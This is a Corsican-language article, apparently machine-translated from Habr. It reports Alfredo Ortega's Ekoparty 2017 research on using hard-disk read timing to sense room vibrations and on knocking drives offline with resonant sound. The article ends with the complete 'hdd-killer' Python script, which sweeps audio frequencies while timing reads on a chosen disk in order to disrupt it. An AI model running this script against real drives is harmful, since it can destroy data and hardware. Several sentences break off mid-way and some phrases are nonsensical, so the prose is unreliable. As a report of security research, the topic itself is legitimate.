À a cunferenza di sicurezza informatica Ekoparty 2017 in Buenos Aires, u pirate argentinu Alfredo Ortega hà dimustratu un sviluppu assai interessante - un sistema per u telefuninu secretu di i locali senza usà un microfonu. Sonu
U HDD coglie principalmente soni d'alta intensità à bassa frequenza, passi è altre vibrazioni. U discorsu umanu ùn pò ancu esse ricunnisciutu, ancu se i scientisti
U sonu hè a vibrazione di l'aria o un altru mediu. Una persona li percepisce attraversu u timpanu, chì trasmette vibrazioni à l'arechja interna. U micru hè disignatu quasi cum'è una orechja - ancu quì, e vibrazioni sò registrate da una membrana fina, chì eccita un impulsu elettricu. U discu duru, sicuru, hè ancu sottumessu à vibrazioni microscòpichi per via di i fluttuazioni in l'aria circundante. Questu hè cunnisciutu ancu da e caratteristiche tecniche di i HDD: i pruduttori di solitu indicanu u livellu massimu di vibrazione permissibile, è u discu duru stessu spessu prova di mette in un cuntainer à prova di vibrazione fattu di gomma o altru materiale insulating. Da questu hè faciule cuncludi chì i soni ponu esse registrati cù HDD. Tuttu ciò chì resta hè di capisce cumu.
Alfredo Ortega hà prupostu una versione unica di un attaccu di u canali laterale, à dì un attaccu di tempu. Stu attaccu hè basatu annantu à l'assunzione chì e diverse operazioni sò realizate nantu à u dispusitivu in i tempi diffirenti, secondu a dati di input datu. In questu casu, i "dati di input" sò e vibrazioni di u capu di lettura è u platter HDD, chì correlate cù e vibrazioni di l'ambienti, vale à dì cù u sonu. Cusì, misurà u tempu di calculu è eseguisce analisi statistiche di e dati, hè pussibule misurà e vibrazioni di a testa / platter è dunque e vibrazioni di u mediu. U più longu u ritardu in a lettura di dati, u più forte i vibrazioni HDD è, dunque, u più forte u sonu.
Cumu misurà a vibrazione di u discu duru? Moltu simplice: basta à eseguisce a chjama di u sistema read ()
- è registrà u tempu chì ci vole à compie. I sistemi operativi muderni permettenu di leghje u timing di e chjama di u sistema cù una precisione nanosegunda.
A rapidità di leghje l'infurmazioni da un settore dipende da a pusizione di a testa è u platter, chì correla cù vibrazioni di u casu HDD. Eccu tuttu.
L'analisi statistiche hè realizata cù una utilità simplice di Kscope. Comu dicenu, tuttu u geniu hè simplice.
Utilità Kscope (stat() syscall)
Kscope hè una piccula utilità per visualizà e piccule differenze in i tempi di esecuzione di e chjama di u sistema. Fonte
In un repository separatu read ()
.
Dimostrazione di a registrazione di u sonu cù HDD, operazione di l'utilità Kscope
Di sicuru, u discorsu ùn pò esse capitu in questu modu, ma u HDD hè abbastanza adattatu cum'è un sensor di vibrazione. Per esempiu, pudete registrà se una persona chì porta i scarpi duri o scalzi entra in una stanza cù un urdinatore (probabilmente, se l'attaccante porta sneakers morbidi o ci hè una catifa grossa nantu à u pavimentu, u HDD ùn serà micca capaci di registrà vibrazioni - questu vale a pena di verificà). L'urdinatore hè capaci di registrà vetru rottu o altri incidenti cù una forte intensità di sonu. Questu hè, u discu duru pò serve cum'è un tipu di sistema di rilevazione di intrusioni micca autorizati.
assassinu HDD
In modu, una tecnica simili pò esse usata per disattivà i discu duru. Solu quì ùn sguassate micca oscillazioni da u HDD, ma à u cuntrariu, generamu oscillazioni chì sò alimentati à u HDD. Se ghjucate u sonu da un parlante à una freccia chì risona cù a freccia HDD, u sistema disattiveghja prestu u dispositivu cù un errore I / O (u kernel Linux spegne completamente u HDD dopu à 120 seconde). U discu duru stessu pò soffre di danni irreversibili.
U kernel Linux spegne u discu duru dopu à 120 seconde di furnisce u sonu à una frequenza di risonanza attraversu u parlante di u parlante USB Edifier r19u. U parlante hè attivatu à circa un quartu di a putenza (menu di 100 mW) è si trova à 20 cm da u HDD, destinatu à a tavula per rinfurzà e vibrazioni. Frame da
Hè curiosu chì tali "attacchi" à i HDD sò accaduti à volte per accidenti in a vita di ogni ghjornu. Per esempiu, in settembre di u 2016, u centru di dati di l'ING Bank hè statu obligatu à suspende l'operazioni per 10 ore dopu un drill drill.
Dimostrazione di l'urli umani à i discu duru in un centru di dati. misurazione di latenza
Per generà u sonu risonante, Alfredo Ortega hà scrittu un script Python chjamatu
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com